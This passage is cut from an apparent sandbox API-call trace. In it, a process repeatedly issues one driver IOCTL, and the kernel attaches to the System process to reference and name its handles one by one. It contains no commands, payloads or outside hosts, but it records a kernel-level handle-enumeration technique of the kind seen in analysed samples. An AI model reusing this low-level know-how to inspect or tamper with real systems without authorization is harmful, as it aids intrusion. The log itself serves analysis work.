lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.875] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.875] PsAcquireProcessExitSynchronization () returned 0x0 [0102.875] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.875] ObReferenceObjectByHandle (in: Handle=0xffffffff80000540, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800b97cf20, HandleInformation=0x0) returned 0x0 [0102.875] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.875] PsReleaseProcessExitSynchronization () returned 0x2 [0102.875] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.875] ObQueryNameString (in: Object=0xfffffa800b97cf20, ObjectNameInfo=0xfffffa8002514044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002514044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.875] ObfDereferenceObject (Object=0xfffffa800b97cf20) returned 0x2 [0102.875] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.875] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.875] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.875] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.875] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.875] PsAcquireProcessExitSynchronization () returned 0x0 [0102.875] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.875] ObReferenceObjectByHandle (in: Handle=0xffffffff80000544, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80029498a0, HandleInformation=0x0) returned 0x0 [0102.875] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.875] PsReleaseProcessExitSynchronization () returned 0x2 [0102.875] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.875] ObQueryNameString (in: Object=0xfffffa80029498a0, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.875] ObfDereferenceObject (Object=0xfffffa80029498a0) returned 0x2 [0102.875] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.875] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.875] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.875] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.875] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.875] PsAcquireProcessExitSynchronization () returned 0x0 [0102.875] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.875] ObReferenceObjectByHandle (in: Handle=0xffffffff8000054c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800268c3a0, HandleInformation=0x0) returned 0x0 [0102.875] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.876] PsReleaseProcessExitSynchronization () returned 0x2 [0102.876] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.876] ObQueryNameString (in: Object=0xfffffa800268c3a0, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.876] ObfDereferenceObject (Object=0xfffffa800268c3a0) returned 0x2 [0102.876] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.876] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.876] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.876] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.876] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.876] PsAcquireProcessExitSynchronization () returned 0x0 [0102.876] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.876] ObReferenceObjectByHandle (in: Handle=0xffffffff80000550, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800254a240, HandleInformation=0x0) returned 0x0 [0102.876] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.876] PsReleaseProcessExitSynchronization () returned 0x2 [0102.876] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.876] ObQueryNameString (in: Object=0xfffffa800254a240, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.876] ObfDereferenceObject (Object=0xfffffa800254a240) returned 0x2 [0102.876] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.876] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.876] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.876] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0xb6, lpOverlapped=0x0) returned 1 [0102.876] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.876] PsAcquireProcessExitSynchronization () returned 0x0 [0102.876] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.876] ObReferenceObjectByHandle (in: Handle=0xffffffff80000558, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001a2d2d0, HandleInformation=0x0) returned 0x0 [0102.876] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.876] PsReleaseProcessExitSynchronization () returned 0x2 [0102.876] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.876] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001edc044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001edc044, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.876] ObfDereferenceObject (Object=0xfffffa8001a2d2d0) returned 0x1 [0102.876] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.877] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.877] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.877] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0102.877] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.877] PsAcquireProcessExitSynchronization () returned 0x0 [0102.877] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.877] ObReferenceObjectByHandle (in: Handle=0xffffffff80000560, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80021af670, HandleInformation=0x0) returned 0x0 [0102.877] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.877] PsReleaseProcessExitSynchronization () returned 0x2 [0102.877] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.877] ObQueryNameString (in: Object=0xfffffa80021af670, ObjectNameInfo=0xfffffa80025075c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025075c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.877] ObfDereferenceObject (Object=0xfffffa80021af670) returned 0x2 [0102.877] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.877] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.877] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.877] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0102.877] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.877] PsAcquireProcessExitSynchronization () returned 0x0 [0102.877] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.877] ObReferenceObjectByHandle (in: Handle=0xffffffff8000057c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002147270, HandleInformation=0x0) returned 0x0 [0102.877] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.877] PsReleaseProcessExitSynchronization () returned 0x2 [0102.877] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.877] ObQueryNameString (in: Object=0xfffffa8002147270, ObjectNameInfo=0xfffffa8001feb044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001feb044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.877] ObfDereferenceObject (Object=0xfffffa8002147270) returned 0x2 [0102.877] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.877] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.877] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.877] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0102.877] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.877] PsAcquireProcessExitSynchronization () returned 0x0 [0102.878] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.878] ObReferenceObjectByHandle (in: Handle=0xffffffff80000580, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80021194c0, HandleInformation=0x0) returned 0x0 [0102.878] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.878] PsReleaseProcessExitSynchronization () returned 0x2 [0102.878] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.878] ObQueryNameString (in: Object=0xfffffa80021194c0, ObjectNameInfo=0xfffffa800248c7c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800248c7c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.878] ObfDereferenceObject (Object=0xfffffa80021194c0) returned 0x2 [0102.878] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.878] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.878] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.878] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0102.878] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.878] PsAcquireProcessExitSynchronization () returned 0x0 [0102.878] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.878] ObReferenceObjectByHandle (in: Handle=0xffffffff80000584, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003141e60, HandleInformation=0x0) returned 0x0 [0102.878] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.878] PsReleaseProcessExitSynchronization () returned 0x2 [0102.878] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.878] ObQueryNameString (in: Object=0xfffffa8003141e60, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.878] ObfDereferenceObject (Object=0xfffffa8003141e60) returned 0x1 [0102.878] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.878] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.878] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.878] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0102.878] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.878] PsAcquireProcessExitSynchronization () returned 0x0 [0102.878] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.878] ObReferenceObjectByHandle (in: Handle=0xffffffff8000058c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80021201f0, HandleInformation=0x0) returned 0x0 [0102.878] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.878] PsReleaseProcessExitSynchronization () returned 0x2 [0102.878] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.878] ObQueryNameString (in: Object=0xfffffa80021201f0, ObjectNameInfo=0xfffffa8002494044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002494044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.879] ObfDereferenceObject (Object=0xfffffa80021201f0) returned 0x2 [0102.879] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.879] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.879] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.879] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0102.879] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.879] PsAcquireProcessExitSynchronization () returned 0x0 [0102.879] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.879] ObReferenceObjectByHandle (in: Handle=0xffffffff80000590, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001a42ab0, HandleInformation=0x0) returned 0x0 [0102.879] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.879] PsReleaseProcessExitSynchronization () returned 0x2 [0102.879] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.879] ObQueryNameString (in: Object=0xfffffa8001a42ab0, ObjectNameInfo=0xfffffa8002066044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002066044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.879] ObfDereferenceObject (Object=0xfffffa8001a42ab0) returned 0x2 [0102.879] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.879] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.879] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.879] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0102.879] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.879] PsAcquireProcessExitSynchronization () returned 0x0 [0102.879] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.879] ObReferenceObjectByHandle (in: Handle=0xffffffff800005ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002156790, HandleInformation=0x0) returned 0x0 [0102.879] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.879] PsReleaseProcessExitSynchronization () returned 0x2 [0102.879] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.879] ObQueryNameString (in: Object=0xfffffa8002156790, ObjectNameInfo=0xfffffa80037a5244, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80037a5244, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.879] ObfDereferenceObject (Object=0xfffffa8002156790) returned 0x2 [0102.879] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.879] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.879] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.879] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0102.879] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.880] PsAcquireProcessExitSynchronization () returned 0x0 [0102.880] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.880] ObReferenceObjectByHandle (in: Handle=0xffffffff800005b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001a472d0, HandleInformation=0x0) returned 0x0 [0102.880] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.880] PsReleaseProcessExitSynchronization () returned 0x2 [0102.880] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.880] ObQueryNameString (in: Object=0xfffffa8001a472d0, ObjectNameInfo=0xfffffa8003420684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003420684, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.880] ObfDereferenceObject (Object=0xfffffa8001a472d0) returned 0x2 [0102.880] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.880] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.880] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.880] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.880] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.880] PsAcquireProcessExitSynchronization () returned 0x0 [0102.880] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.880] ObReferenceObjectByHandle (in: Handle=0xffffffff800005c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001f92f20, HandleInformation=0x0) returned 0x0 [0102.880] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.880] PsReleaseProcessExitSynchronization () returned 0x2 [0102.880] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.880] ObQueryNameString (in: Object=0xfffffa8001f92f20, ObjectNameInfo=0xfffffa8002078044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002078044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.880] ObfDereferenceObject (Object=0xfffffa8001f92f20) returned 0x2 [0102.880] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.880] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.880] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.880] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0102.880] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.880] PsAcquireProcessExitSynchronization () returned 0x0 [0102.880] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.880] ObReferenceObjectByHandle (in: Handle=0xffffffff800005d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003bb8b60, HandleInformation=0x0) returned 0x0 [0102.880] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.880] PsReleaseProcessExitSynchronization () returned 0x2 [0102.880] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.880] ObQueryNameString (in: Object=0xfffffa8003bb8b60, ObjectNameInfo=0xfffffa80034287c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80034287c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.881] ObfDereferenceObject (Object=0xfffffa8003bb8b60) returned 0x2 [0102.881] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.881] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.881] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.881] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0102.881] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.881] PsAcquireProcessExitSynchronization () returned 0x0 [0102.881] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.881] 